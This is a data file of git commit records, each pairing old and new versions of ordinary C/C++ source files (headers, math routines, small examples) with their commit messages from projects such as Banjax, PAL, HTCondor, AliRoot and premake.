{"commit":"d49604b9ed52928f8a3b31cc560692f130928014","old_file":"src\/transaction_data.h","new_file":"src\/transaction_data.h","old_contents":"\/*\n * the continuation data assigned to each request along side with the functions \n * to manipulate them\n *\n * Vmon: June 2013\n *\/\n#ifndef BANJAX_CONTINUATION_H\n#define BANJAX_CONTINUATION_H\n\n#include \"banjax.h\"\n#include \"banjax_filter.h\"\n#include \"transaction_muncher.h\"\n\nclass Banjax;\n\nclass TransactionData{\npublic:\n  std::shared_ptr<Banjax> banjax;\n  TSHttpTxn txnp;\n\n  TransactionMuncher transaction_muncher;\n  FilterResponse response_info;\n\n  ~TransactionData();\n\n  \/**\n     Constructor to set the default values\n   *\/\n  TransactionData(std::shared_ptr<Banjax> banjax, TSHttpTxn cur_txn)\n    : banjax(std::move(banjax))\n    , txnp(cur_txn)\n    , transaction_muncher(cur_txn)\n  { }\n\n  static\n  int handle_transaction_change(TSCont contp, TSEvent event, void *edata);\n\nprivate:\n  void handle_request();\n  void handle_response();\n  void handle_http_close(Banjax::TaskQueue& current_queue);\n\n};\n\n#endif \/*banjax_continuation.h*\/\n","new_contents":"\/*\n * the continuation data assigned to each request along side with the functions \n * to manipulate them\n *\n * Vmon: June 2013\n *\/\n#ifndef BANJAX_CONTINUATION_H\n#define BANJAX_CONTINUATION_H\n\n#include \"banjax.h\"\n#include \"banjax_filter.h\"\n#include \"transaction_muncher.h\"\n\nclass Banjax;\n\nclass TransactionData{\npublic:\n  \/**\n     Constructor to set the default values\n   *\/\n  TransactionData(std::shared_ptr<Banjax> banjax, TSHttpTxn cur_txn)\n    : banjax(std::move(banjax))\n    , txnp(cur_txn)\n    , transaction_muncher(cur_txn)\n  { }\n\n  static\n  int handle_transaction_change(TSCont contp, TSEvent event, void *edata);\n\n  ~TransactionData();\n\nprivate:\n  std::shared_ptr<Banjax> banjax;\n  TSHttpTxn txnp;\n\n  TransactionMuncher transaction_muncher;\n  FilterResponse response_info;\n\nprivate:\n  void handle_request();\n  void handle_response();\n  void handle_http_close(Banjax::TaskQueue& current_queue);\n};\n\n#endif \/*banjax_continuation.h*\/\n","subject":"Make TransactionData member vars private","message":"Make TransactionData member vars private\n","lang":"C","license":"agpl-3.0","repos":"equalitie\/banjax,equalitie\/banjax,equalitie\/banjax,equalitie\/banjax,equalitie\/banjax"}
{"commit":"47b545958603fb2f62b945985d191193183caeab","old_file":"src\/math\/p_acos.c","new_file":"src\/math\/p_acos.c","old_contents":"#include <math.h>\n#include <pal.h>\n\nstatic const float pi_2 = (float) M_PI \/ 2.f;\n\n\/**\n *\n * Computes the inverse cosine (arc cosine) of the input vector 'a'. Input\n * values to acos must be in the range -1 to 1. The result values are in the\n * range 0 to pi. The function does not check for illegal input values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_acos_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    float tmp;\n    \/* acos x = pi\/2 - asin x *\/\n    p_asin_f32(a, c, n);\n    for (i = 0; i < n; i++) {\n        tmp = pi_2 - c[i];\n        c[i] = tmp;\n    }\n}\n","new_contents":"#include <pal.h>\n\n#include \"p_asin.h\"\n\n\/**\n *\n * Computes the inverse cosine (arc cosine) of the input vector 'a'. Input\n * values to acos must be in the range -1 to 1. The result values are in the\n * range 0 to pi. The function does not check for illegal input values.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_acos_f32(const float *a, float *c, int n)\n{\n\n    int i;\n    \/* acos x = pi\/2 - asin x *\/\n    for (i = 0; i < n; i++) {\n        c[i] = pi_2 - _p_asin(a[i]);\n    }\n}\n","subject":"Use the inline inverse sine function.","message":"math:acos: Use the inline inverse sine function.\n\nSigned-off-by: Mansour Moufid <ac5f6b12fab5e0d4efa7215e6c2dac9d55ab77dc@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"parallella\/pal,Adamszk\/pal3,olajep\/pal,olajep\/pal,olajep\/pal,debug-de-su-ka\/pal,mateunho\/pal,debug-de-su-ka\/pal,parallella\/pal,parallella\/pal,mateunho\/pal,mateunho\/pal,debug-de-su-ka\/pal,8l\/pal,8l\/pal,aolofsson\/pal,eliteraspberries\/pal,aolofsson\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,Adamszk\/pal3,aolofsson\/pal,parallella\/pal,8l\/pal,eliteraspberries\/pal,olajep\/pal,eliteraspberries\/pal,eliteraspberries\/pal,aolofsson\/pal,Adamszk\/pal3,mateunho\/pal,mateunho\/pal,Adamszk\/pal3,8l\/pal,debug-de-su-ka\/pal,parallella\/pal"}
{"commit":"bd3b812d2340b724a7844d29f72a26aa20c7edf7","old_file":"examples\/serial\/helloserial.c","new_file":"examples\/serial\/helloserial.c","old_contents":"","new_contents":"\/*-\n * Copyright (c) 2008 Benjamin Close <Benjamin.Close@clearchain.com>\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\/\n\n\n\/**\n * This simple program will output hello world to the serial port\n * and read back a line of input from the port\n *\/\n#include <stdio.h>\n#include <stdlib.h>\n#include <wcl\/serial.h>\n\n#define DEVICE \"\/dev\/ttyS0\"\n#define BUFSIZE 4096\n\nuse namespace wcl;\n\nint main( int argc, char **args )\n{\n    \/\/ Create a serial object\n    char buffer[BUFSIZE+1] = {0};\n    Serial s;\n\n    \/\/ Open the serial port, checking that it opened\n    if ( s.open( DEVICE, BAUD_115200, \/* Use default for all other arguments *\/) == false ){\n\tprintf(\"Failed to open serial port\\n\");\n\texit(EXIT_FAILURE);\n    }\n\n    \/\/ Send hello world down the serial line\n    if ( s.write( \"Hello World!\") == false ){\n\tprintf(\"Failed to write hello world\\n\");\n\texit(EXIT_FAILURE);\n    }\n\n    \/\/ Read back a line (about BUFSIZE characters from the port)\n    if ( s.read( buffer, BUFSIZE )){\n\tprintf(\"Failed to read from device\\n\");\n\texit(EXIT_FAILURE);\n    }\n\n    printf(\"You got a message: %*s\\n\",  buffer )\n\n    \/\/ Close the serial port and restore the previous state of the port\n    s.close()\n\n    return 0;\n}\n\n","subject":"Add a simple untested example how to use the basics of the serial port class","message":"Add a simple untested example how to use the basics of the serial port class\n","lang":"C","license":"bsd-2-clause","repos":"WearableComputerLab\/LibWCL,WearableComputerLab\/LibWCL,WearableComputerLab\/LibWCL,WearableComputerLab\/LibWCL"}
{"commit":"cb3e05bc8b912e716811406333c5deedc06824be","old_file":"src\/condor_ckpt\/condor_syscalls.h","new_file":"src\/condor_ckpt\/condor_syscalls.h","old_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\nint syscall( int, ... );\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _CONDOR_SYSCALLS_H\n#define _CONDOR_SYSCALLS_H\n\n#if defined( AIX32)\n#\tinclude \"syscall.aix32.h\"\n#else\n#\tinclude <syscall.h>\n#endif\n\n\ntypedef int BOOL;\n\nstatic const int \tSYS_LOCAL = 1;\nstatic const int \tSYS_REMOTE = 0;\nstatic const int\tSYS_RECORDED = 2;\nstatic const int\tSYS_MAPPED = 2;\n\nstatic const int\tSYS_UNRECORDED = 0;\nstatic const int\tSYS_UNMAPPED = 0;\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nint SetSyscalls( int mode );\nBOOL LocalSysCalls();\nBOOL RemoteSysCalls();\nBOOL MappingFileDescriptors();\nint REMOTE_syscall( int syscall_num, ... );\n\n#if defined(AIX32) && defined(__cplusplus)\n\tint syscall( ... );\n#else\n\tint syscall( int, ... );\n#endif\n\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Add inclusion of \"syscall.aix32.h\" or <syscall.h> depending on whether we are on an AIX machine where there is no <syscall.h>.","message":"Add inclusion of \"syscall.aix32.h\" or <syscall.h> depending on whether\nwe are on an AIX machine where there is no <syscall.h>.\n","lang":"C","license":"apache-2.0","repos":"djw8605\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,zhangzhehust\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,djw8605\/condor,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,clalancette\/condor-dcloud,htcondor\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting"}
{"commit":"6b15d7151f2703ce049ac9ab14b13c8b13122bf8","old_file":"http.h","new_file":"http.h","old_contents":"#ifndef HTTP_H\n#define HTTP_H\n\n#include <stddef.h>\n\n#define HTTP_GET 1\n#define HTTP_HEAD 2\n#define HTTP_POST 3\n#define HTTP_PUT 4\n#define HTTP_DELETE 5\n\n#define FIELD_HOST 1\n#define FIELD_LENGTH 2\n#define FIELD_TYPE 3\n\n#define ERR_BAD_REQ 0\n#define ERR_NOT_FOUND 1\n#define ERR_METHOD 2\n#define ERR_FORBIDDEN 3\n#define ERR_INTERNAL 4\n\ntypedef struct\n{\n    int method;     \/* request method *\/\n    char* path;     \/* requested path *\/\n    char* host;     \/* hostname field *\/\n    char* type;     \/* content-type *\/\n    size_t length;  \/* content-length *\/\n    int flags;\n}\nhttp_request;\n\n\/* Write an error page (and header). Returns number of bytes written. *\/\nsize_t gen_error_page( int fd, int error );\n\n\/*\n    Write 200 Ok header with content length and content type.\n    Returns the number of bytes written, 0 on failure.\n *\/\nsize_t http_ok( int fd, const char* type, unsigned long size );\n\n\/* parse a HTTP request, returns non-zero on success, zero on failure *\/\nint http_request_parse( char* buffer, http_request* request );\n\n#endif \/* HTTP_H *\/\n\n","new_contents":"#ifndef HTTP_H\n#define HTTP_H\n\n#include <stddef.h>\n\n#define HTTP_GET 1\n#define HTTP_HEAD 2\n#define HTTP_POST 3\n#define HTTP_PUT 4\n#define HTTP_DELETE 5\n\n#define FIELD_HOST 1\n#define FIELD_LENGTH 2\n#define FIELD_TYPE 3\n\n#define ERR_BAD_REQ 0\n#define ERR_NOT_FOUND 1\n#define ERR_METHOD 2\n#define ERR_FORBIDDEN 3\n#define ERR_INTERNAL 4\n\ntypedef struct\n{\n    int method;     \/* request method *\/\n    char* path;     \/* requested path *\/\n    char* host;     \/* hostname field *\/\n    char* type;     \/* content-type *\/\n    size_t length;  \/* content-length *\/\n}\nhttp_request;\n\n\/* Write an error page (and header). Returns number of bytes written. *\/\nsize_t gen_error_page( int fd, int error );\n\n\/*\n    Write 200 Ok header with content length and content type.\n    Returns the number of bytes written, 0 on failure.\n *\/\nsize_t http_ok( int fd, const char* type, unsigned long size );\n\n\/* parse a HTTP request, returns non-zero on success, zero on failure *\/\nint http_request_parse( char* buffer, http_request* request );\n\n#endif \/* HTTP_H *\/\n\n","subject":"Remove unused flags field from request","message":"Remove unused flags field from request\n\nSigned-off-by: David Oberhollenzer <ef97309e490485c1bad5018f0617d7fa37bc07ac@tele2.at>\n","lang":"C","license":"agpl-3.0","repos":"AgentD\/websrv,AgentD\/websrv,AgentD\/websrv"}
{"commit":"d975e701138799aa01e14c4bc079e82a85da2e10","old_file":"myar.c","new_file":"myar.c","old_contents":"","new_contents":"#include <ar.h>\n#include <ctype.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <unistd.h>\n\nint main(int argc, char **argv)\n{\n    int aflag = 0;\n    int bflag = 0;\n    char *cvalue = NULL;\n    int index;\n    int c;\n\n    int opterr = 0;\n\n    while ((c = getopt(argc, argv, \"abc:\")) != -1)\n        switch (c)\n        {\n        case 'a':\n            aflag = 1;\n            break;\n        case 'b':\n            bflag = 1;\n            break;\n        case 'c':\n            cvalue = optarg;\n            break;\n        case '?':\n            if (optopt == 'c')\n                fprintf (stderr, \"Option -%c requires an argument.\\n\", optopt);\n            else if (isprint (optopt))\n                fprintf (stderr, \"Unknown option `-%c'.\\n\", optopt);\n            else\n                fprintf (stderr,\n                        \"Unknown option character `\\\\x%x'.\\n\",\n                        optopt);\n            return 1;\n        default:\n            abort();\n        }\n\n    printf (\"aflag = %d, bflag = %d, cvalue = %s\\n\",\n            aflag, bflag, cvalue);\n\n    for (index = optind; index < argc; index++)\n        printf (\"Non-option argument %s\\n\", argv[index]);\n    return 0;\n\n}\n","subject":"Add getopt working example from gnu.org","message":"Add getopt working example from gnu.org\n","lang":"C","license":"unlicense","repos":"chancez\/ar,ecnahc515\/ar"}
{"commit":"e31dfde23efa02f2f5480904fd0c895ce08acd9b","old_file":"MONITOR\/SORNotifier.h","new_file":"MONITOR\/SORNotifier.h","old_contents":"\/**************************************************************************\n * Copyright(c) 2007-2009, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\n **************************************************************************\/\n#ifndef SORNOTIFIER_H\n#define SORNOTIFIER_H\n\n\/\/______________________________________________________________________________\n\/\/\n\/\/ ECS Start-of-Run notifier\n\/\/\n\/\/ This class \"listens\" to the SOR coming from the ECS.\n\/\/\n\n\/\/ DIM\n#include <dic.hxx>\n\nclass AliOnlineRecoTrigger;\n\nclass SORNotifier: public DimUpdatedInfo\n{\npublic:\n        SORNotifier(AliOnlineRecoTrigger* trigger): \n\t  DimUpdatedInfo(\"\/LOGBOOK\/SUBSCRIBE\/ECS_SOR_PHYSICS\", -1), fRun(-1), fTrigger(trigger) {}\n\n\tvoid infoHandler();\n\n\tvoid errorHandler(int severity, int code, char *msg);\n\n\tint GetRun() const {return fRun;}\nprivate:\n\tSORNotifier(const SORNotifier& other);\n\tSORNotifier& operator = (const SORNotifier& other);\n\n\tint fRun;\n\n\tAliOnlineRecoTrigger* fTrigger;\n};\n\n#endif\n","new_contents":"\/**************************************************************************\n * Copyright(c) 2007-2009, ALICE Experiment at CERN, All rights reserved. *\n * See cxx source for full Copyright notice                               *\n **************************************************************************\/\n#ifndef SORNOTIFIER_H\n#define SORNOTIFIER_H\n\n\/\/______________________________________________________________________________\n\/\/\n\/\/ ECS Start-of-Run notifier\n\/\/\n\/\/ This class \"listens\" to the SOR coming from the ECS.\n\/\/\n\n\/\/ DIM\n#include <dic.hxx>\n\nclass AliOnlineRecoTrigger;\n\nclass SORNotifier: public DimUpdatedInfo\n{\npublic:\n        SORNotifier(AliOnlineRecoTrigger* trigger): \n\t  DimUpdatedInfo(\"\/LOGBOOK\/SUBSCRIBE\/DAQ_SOR_PHYSICS\", -1), fRun(-1), fTrigger(trigger) {}\n\n\tvoid infoHandler();\n\n\tvoid errorHandler(int severity, int code, char *msg);\n\n\tint GetRun() const {return fRun;}\nprivate:\n\tSORNotifier(const SORNotifier& other);\n\tSORNotifier& operator = (const SORNotifier& other);\n\n\tint fRun;\n\n\tAliOnlineRecoTrigger* fTrigger;\n};\n\n#endif\n","subject":"Correct DIM service is DAQ_SOR_PHYSICS. In this case we get the trigger config from the logbook.","message":"Correct DIM service is DAQ_SOR_PHYSICS. In this case we get the trigger config from the logbook.\n\n","lang":"C","license":"bsd-3-clause","repos":"miranov25\/AliRoot,sebaleh\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,jgrosseo\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,miranov25\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,alisw\/AliRoot,coppedis\/AliRoot,sebaleh\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,coppedis\/AliRoot,alisw\/AliRoot,sebaleh\/AliRoot,shahor02\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,jgrosseo\/AliRoot,ecalvovi\/AliRoot,ALICEHLT\/AliRoot,ALICEHLT\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,alisw\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,alisw\/AliRoot,alisw\/AliRoot,ecalvovi\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,jgrosseo\/AliRoot,alisw\/AliRoot,ALICEHLT\/AliRoot,shahor02\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,sebaleh\/AliRoot,jgrosseo\/AliRoot,miranov25\/AliRoot,sebaleh\/AliRoot,ALICEHLT\/AliRoot,mkrzewic\/AliRoot,coppedis\/AliRoot,coppedis\/AliRoot,ecalvovi\/AliRoot,mkrzewic\/AliRoot,shahor02\/AliRoot,alisw\/AliRoot"}
{"commit":"b2f051ae390432789f2b02fe451aa23ae2698e3d","old_file":"include\/asm-frv\/irq.h","new_file":"include\/asm-frv\/irq.h","old_contents":"\/* irq.h: FRV IRQ definitions\n *\n * Copyright (C) 2006 Red Hat, Inc. All Rights Reserved.\n * Written by David Howells (dhowells@redhat.com)\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#ifndef _ASM_IRQ_H_\n#define _ASM_IRQ_H_\n\n\/* this number is used when no interrupt has been assigned *\/\n#define NO_IRQ\t\t\t\t(-1)\n\n#define NR_IRQS\t\t\t\t48\n#define IRQ_BASE_CPU\t\t\t(0 * 16)\n#define IRQ_BASE_FPGA\t\t\t(1 * 16)\n#define IRQ_BASE_MB93493\t\t(2 * 16)\n\n\/* probe returns a 32-bit IRQ mask:-\/ *\/\n#define MIN_PROBE_IRQ\t\t\t(NR_IRQS - 32)\n\n#ifndef __ASSEMBLY__\nstatic inline int irq_canonicalize(int irq)\n{\n\treturn irq;\n}\n#endif\n\n#endif \/* _ASM_IRQ_H_ *\/\n","new_contents":"\/* irq.h: FRV IRQ definitions\n *\n * Copyright (C) 2006 Red Hat, Inc. All Rights Reserved.\n * Written by David Howells (dhowells@redhat.com)\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#ifndef _ASM_IRQ_H_\n#define _ASM_IRQ_H_\n\n#define NR_IRQS\t\t\t\t48\n#define IRQ_BASE_CPU\t\t\t(0 * 16)\n#define IRQ_BASE_FPGA\t\t\t(1 * 16)\n#define IRQ_BASE_MB93493\t\t(2 * 16)\n\n\/* probe returns a 32-bit IRQ mask:-\/ *\/\n#define MIN_PROBE_IRQ\t\t\t(NR_IRQS - 32)\n\n#ifndef __ASSEMBLY__\nstatic inline int irq_canonicalize(int irq)\n{\n\treturn irq;\n}\n#endif\n\n#endif \/* _ASM_IRQ_H_ *\/\n","subject":"Remove bogus NO_IRQ = -1 define","message":"frv: Remove bogus NO_IRQ = -1 define\n\nThe old NO_IRQ define some platforms had was long ago declared obsolete\nand wrong. FRV should therefore not be re-introducing this, especially as\nIRQs are usually unsigned in the kernel. The \"no IRQ\" case is defined to be\nzero and Linus made this rather clear at the time.\n\narch\/frv shows no dependancy on this but it might show up driver fixes\nneeding doing I guess\n\nSigned-off-by: Alan Cox <91e38e63b890fbb214c8914809fde03c73e7f24d@redhat.com>\nAcked-by: David Howells <ebac1d06c1688626821bb0e574a037a7a5354e49@redhat.com>\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"36b7e11186070ed405e73db8666b21c41e55aa5a","old_file":"prompt.c","new_file":"prompt.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n\/* I am intentionally not doing the Windows portability stuff here\n since I am doing this for the language-implementation aspect,\n rather than the portability aspect. If it turns out the portability\n stuff is a big deal, I will come back and add in that code. -MAW *\/\n\n#include <editline\/readline.h>\n\nint main(int argc, char **argv) {\n\n    \/* Print Version and Exit information *\/\n    puts(\"Lispy Version 0.0.0.0.1\");\n    puts(\"Press Ctrl-C to exit\\n\");\n\n    while(1) {\n        \/* prompt: *\/\n        char *input = readline(\"lispy> \");\n\n        \/* add input to command history *\/\n        add_history(input);\n\n        printf(\"No, you're a %s\\n\", input);\n\n        \/* input was dynamically allocated *\/\n        free(input);\n    }\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n\/* I am intentionally not doing the Windows portability stuff here\n since I am doing this for the language-implementation aspect,\n rather than the portability aspect. If it turns out the portability\n stuff is a big deal, I will come back and add in that code. -MAW *\/\n\n\/* Fun SO link on target platform detection:\n   http:\/\/stackoverflow.com\/a\/5920028\/3435397 *\/\n\n#include <editline\/readline.h>\n\nint main(int argc, char **argv) {\n\n    \/* Print Version and Exit information *\/\n    puts(\"Lispy Version 0.0.0.0.1\");\n    puts(\"Press Ctrl-C to exit\\n\");\n\n    while(1) {\n        \/* prompt: *\/\n        char *input = readline(\"lispy> \");\n\n        \/* add input to command history *\/\n        add_history(input);\n\n        printf(\"No, you're a %s\\n\", input);\n\n        \/* input was dynamically allocated *\/\n        free(input);\n    }\n    return 0;\n}\n","subject":"Add a link to an SO answer about platform detection","message":"Add a link to an SO answer about platform detection\n","lang":"C","license":"mit","repos":"MattyDub\/my-own-lisp"}
{"commit":"51d5be75475f3d03445f02b34dbaf9b5a31174c5","old_file":"src\/host\/os_isfile.c","new_file":"src\/host\/os_isfile.c","old_contents":"\/**\n * \\file   os_isfile.c\n * \\brief  Returns true if the given file exists on the file system.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <sys\/stat.h>\n#include \"premake.h\"\n\n\nint os_isfile(lua_State* L)\n{\n\tconst char* filename = luaL_checkstring(L, 1);\n\tlua_pushboolean(L, do_isfile(filename));\n\treturn 1;\n}\n\n\nint do_isfile(const char* filename)\n{\n\tstruct stat buf;\n#if PLATFORM_WINDOWS\n\tDWORD attrib = GetFileAttributesA(filename);\n\tif (attrib != INVALID_FILE_ATTRIBUTES)\n\t{\n\t\treturn (attrib & FILE_ATTRIBUTE_DIRECTORY) == 0;\n\t}\n#else\n\tif (stat(filename, &buf) == 0)\n\t{\n\t\treturn ((buf.st_mode & S_IFDIR) == 0);\n\t}\n#endif\n\n\treturn 0;\n}\n","new_contents":"\/**\n * \\file   os_isfile.c\n * \\brief  Returns true if the given file exists on the file system.\n * \\author Copyright (c) 2002-2008 Jason Perkins and the Premake project\n *\/\n\n#include <sys\/stat.h>\n#include \"premake.h\"\n\n\nint os_isfile(lua_State* L)\n{\n\tconst char* filename = luaL_checkstring(L, 1);\n\tlua_pushboolean(L, do_isfile(filename));\n\treturn 1;\n}\n\n\nint do_isfile(const char* filename)\n{\n#if PLATFORM_WINDOWS\n\tDWORD attrib = GetFileAttributesA(filename);\n\tif (attrib != INVALID_FILE_ATTRIBUTES)\n\t{\n\t\treturn (attrib & FILE_ATTRIBUTE_DIRECTORY) == 0;\n\t}\n#else\n\tstruct stat buf;\n\tif (stat(filename, &buf) == 0)\n\t{\n\t\treturn ((buf.st_mode & S_IFDIR) == 0);\n\t}\n#endif\n\n\treturn 0;\n}\n","subject":"Fix a new Visual Studio unused variable build warning","message":"Fix a new Visual Studio unused variable build warning\n","lang":"C","license":"bsd-3-clause","repos":"LORgames\/premake-core,CodeAnxiety\/premake-core,bravnsgaard\/premake-core,dcourtois\/premake-core,CodeAnxiety\/premake-core,sleepingwit\/premake-core,premake\/premake-core,resetnow\/premake-core,lizh06\/premake-core,TurkeyMan\/premake-core,premake\/premake-core,Blizzard\/premake-core,CodeAnxiety\/premake-core,Zefiros-Software\/premake-core,aleksijuvani\/premake-core,tvandijck\/premake-core,mandersan\/premake-core,mandersan\/premake-core,noresources\/premake-core,aleksijuvani\/premake-core,aleksijuvani\/premake-core,starkos\/premake-core,jstewart-amd\/premake-core,LORgames\/premake-core,mandersan\/premake-core,xriss\/premake-core,TurkeyMan\/premake-core,CodeAnxiety\/premake-core,starkos\/premake-core,sleepingwit\/premake-core,mandersan\/premake-core,lizh06\/premake-core,noresources\/premake-core,tvandijck\/premake-core,mendsley\/premake-core,jstewart-amd\/premake-core,premake\/premake-core,soundsrc\/premake-core,xriss\/premake-core,premake\/premake-core,mendsley\/premake-core,mendsley\/premake-core,dcourtois\/premake-core,starkos\/premake-core,lizh06\/premake-core,dcourtois\/premake-core,noresources\/premake-core,bravnsgaard\/premake-core,dcourtois\/premake-core,Blizzard\/premake-core,noresources\/premake-core,noresources\/premake-core,soundsrc\/premake-core,resetnow\/premake-core,sleepingwit\/premake-core,martin-traverse\/premake-core,soundsrc\/premake-core,mendsley\/premake-core,tvandijck\/premake-core,CodeAnxiety\/premake-core,bravnsgaard\/premake-core,bravnsgaard\/premake-core,xriss\/premake-core,dcourtois\/premake-core,starkos\/premake-core,TurkeyMan\/premake-core,aleksijuvani\/premake-core,dcourtois\/premake-core,aleksijuvani\/premake-core,soundsrc\/premake-core,dcourtois\/premake-core,Blizzard\/premake-core,soundsrc\/premake-core,starkos\/premake-core,Blizzard\/premake-core,Zefiros-Software\/premake-core,jstewart-amd\/premake-core,resetnow\/premake-core,TurkeyMan\/premake-core,starkos\/premake-core,resetnow\/premake-core,tvandijck\/premake-core,premake\/premake-core,martin-traverse\/premake-core,martin-traverse\/premake-core,resetnow\/premake-core,sleepingwit\/premake-core,sleepingwit\/premake-core,Zefiros-Software\/premake-core,xriss\/premake-core,lizh06\/premake-core,bravnsgaard\/premake-core,Blizzard\/premake-core,premake\/premake-core,jstewart-amd\/premake-core,martin-traverse\/premake-core,mendsley\/premake-core,LORgames\/premake-core,Zefiros-Software\/premake-core,premake\/premake-core,jstewart-amd\/premake-core,xriss\/premake-core,noresources\/premake-core,LORgames\/premake-core,Blizzard\/premake-core,LORgames\/premake-core,tvandijck\/premake-core,TurkeyMan\/premake-core,mandersan\/premake-core,noresources\/premake-core,starkos\/premake-core,Zefiros-Software\/premake-core"}
